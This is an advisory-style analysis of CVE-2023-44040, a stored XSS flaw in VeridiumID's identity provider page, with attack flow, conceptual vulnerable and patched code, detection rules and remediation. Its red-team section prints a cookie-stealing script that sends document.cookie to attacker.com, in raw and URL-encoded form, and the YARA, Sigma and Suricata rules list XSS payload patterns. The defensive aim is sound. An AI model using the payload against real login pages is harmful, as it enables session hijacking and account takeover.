CVE-2023-44040

Executive Summary

CVE-2023-44040 is a stored cross-site scripting (XSS) vulnerability in VeridiumID, an identity and access management platform. An unauthenticated internal attacker can inject malicious JavaScript into the identity provider page. When a user attempts to authenticate, the injected script executes in the context of that user's browser, potentially leading to session hijacking, credential theft, or further lateral movement within the internal network. The vulnerability exists in versions prior to 3.5.0. No public proof-of-concept or exploit code has been released, and the CVSS score is currently unassigned. The EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise identity management product. Organizations should verify the integrity of their VeridiumID installation and ensure no unauthorized modifications have been made.

CVSS Breakdown & Threat Level

The CVSS vector and score are currently UNKNOWN as the NVD has not yet assigned a full vector. However, based on the description, a reasonable assessment would be:

• Attack Vector (AV): Network (internal) – the attacker must be on the internal network.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – unauthenticated attacker.
• User Interaction (UI): Required – the victim must attempt to authenticate.
• Scope (S): Changed – the vulnerability impacts the user's browser context.
• Confidentiality (C): High – potential for credential theft.
• Integrity (I): High – attacker can modify page content.
• Availability (A): Low – could disrupt authentication flow.

Estimated CVSS v3.1 Score: 8.2 (High)

Threat Level: High. Although no public exploit exists, the vulnerability is easy to exploit once discovered and can lead to significant internal compromise.

Deep Dive & Mechanics

The vulnerability resides in the identity provider (IdP) page of VeridiumID. The IdP page is responsible for rendering authentication forms and handling user input. Due to insufficient input validation and output encoding, an attacker can inject arbitrary HTML and JavaScript into the page. This injection is likely stored in a backend database or configuration, meaning it persists across sessions.

Attack Flow:

1. An internal attacker (unauthenticated) identifies an input field on the IdP page that is not properly sanitized (e.g., a custom error message, a redirect URL parameter, or a user profile field).
2. The attacker injects a malicious payload, such as <script>alert('XSS')</script> or a more sophisticated payload that steals session cookies.
3. The payload is stored on the server.
4. When a legitimate user attempts to authenticate, the IdP page loads the stored payload.
5. The victim's browser executes the malicious script in the context of the VeridiumID domain.
6. The attacker can then exfiltrate session tokens, redirect the user to a phishing page, or perform actions on behalf of the victim.

Root Cause: Lack of proper output encoding and input validation on the server side. The application likely reflects user-controlled data without escaping HTML entities.

Vulnerable vs. Patched Code

Since the source code is proprietary, we provide a conceptual comparison.

Vulnerable Code (Conceptual - Server-Side Rendering):

# Vulnerable: Directly embedding user input without sanitization
def render_idp_page(request):
    error_message = request.GET.get('error', '')
    # error_message is rendered directly into HTML
    return f"<div class='error'>{error_message}</div>"

Patched Code (Conceptual):

# Patched: HTML-encode user input before rendering
import html
def render_idp_page(request):
    error_message = request.GET.get('error', '')
    safe_message = html.escape(error_message)
    return f"<div class='error'>{safe_message}</div>"

The patch in VeridiumID 3.5.0 likely implements proper output encoding for all user-controlled data rendered on the IdP page.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Internal network access to the VeridiumID server.
• Knowledge of an injectable parameter (e.g., error, redirect_uri, or a custom field).

Step-by-Step Exploitation:

1. Identify the vulnerable parameter by fuzzing the IdP page with common XSS payloads.
2. Inject a payload that steals session cookies:

   <script>
   fetch('http://attacker.com/steal?cookie=' + document.cookie);
   </script>
   

3. Wait for an administrator or user to authenticate.
4. Use the stolen session cookie to impersonate the victim.

Example Payload (URL-encoded):

?error=%3Cscript%3Efetch(%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie)%3C%2Fscript%3E

Blue Team (Defensive)

Detection:

• Monitor for unusual parameters in requests to the IdP page (e.g., error, message, redirect).
• Look for <script> tags or base64-encoded payloads in HTTP request bodies.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Mitigation:

• Immediately upgrade to VeridiumID 3.5.0 or later.
• If patching is not possible, implement a virtual patch using a WAF to filter XSS payloads.
• Restrict internal network access to the VeridiumID server to only authorized users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to the IdP page containing <script>, onerror, onload, or javascript: in parameters.
  • Outbound connections from the VeridiumID server to unknown external IPs (data exfiltration).
• File IOCs:
  • Suspicious entries in VeridiumID logs containing HTML/JavaScript code.
  • Modified configuration files with injected scripts.
• Behavioral IOCs:
  • Unexpected authentication sessions from internal IPs.
  • Users reporting strange behavior on the login page (e.g., pop-ups, redirects).

Detection Engineering

YARA Rule

rule CVE_2023_44040_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting VeridiumID CVE-2023-44040"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-44040"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
        $xss6 = "document.cookie" nocase
        $xss7 = "fetch(" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: VeridiumID XSS Attempt (CVE-2023-44040)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attempts against VeridiumID identity provider page
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44040
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
            - 'alert('
            - 'document.cookie'
            - 'fetch('
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in error messages (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-44040 VeridiumID XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"/idp"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:|alert\(|document\.cookie|fetch\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update VeridiumID to version 3.5.0 or later. This is the only complete fix.
2. Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block requests containing XSS patterns (e.g., <script>, onerror=, javascript:).
3. Network Segmentation: Restrict access to the VeridiumID server to only trusted internal IPs. Use a VPN or bastion host for administrative access.

Long-Term Measures:

• Implement a Content Security Policy (CSP) header to mitigate XSS impact.
• Conduct regular security audits and penetration tests on internal applications.
• Enforce input validation and output encoding for all user-controlled data.
• Monitor logs for suspicious activity and set up alerts for XSS attempts.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert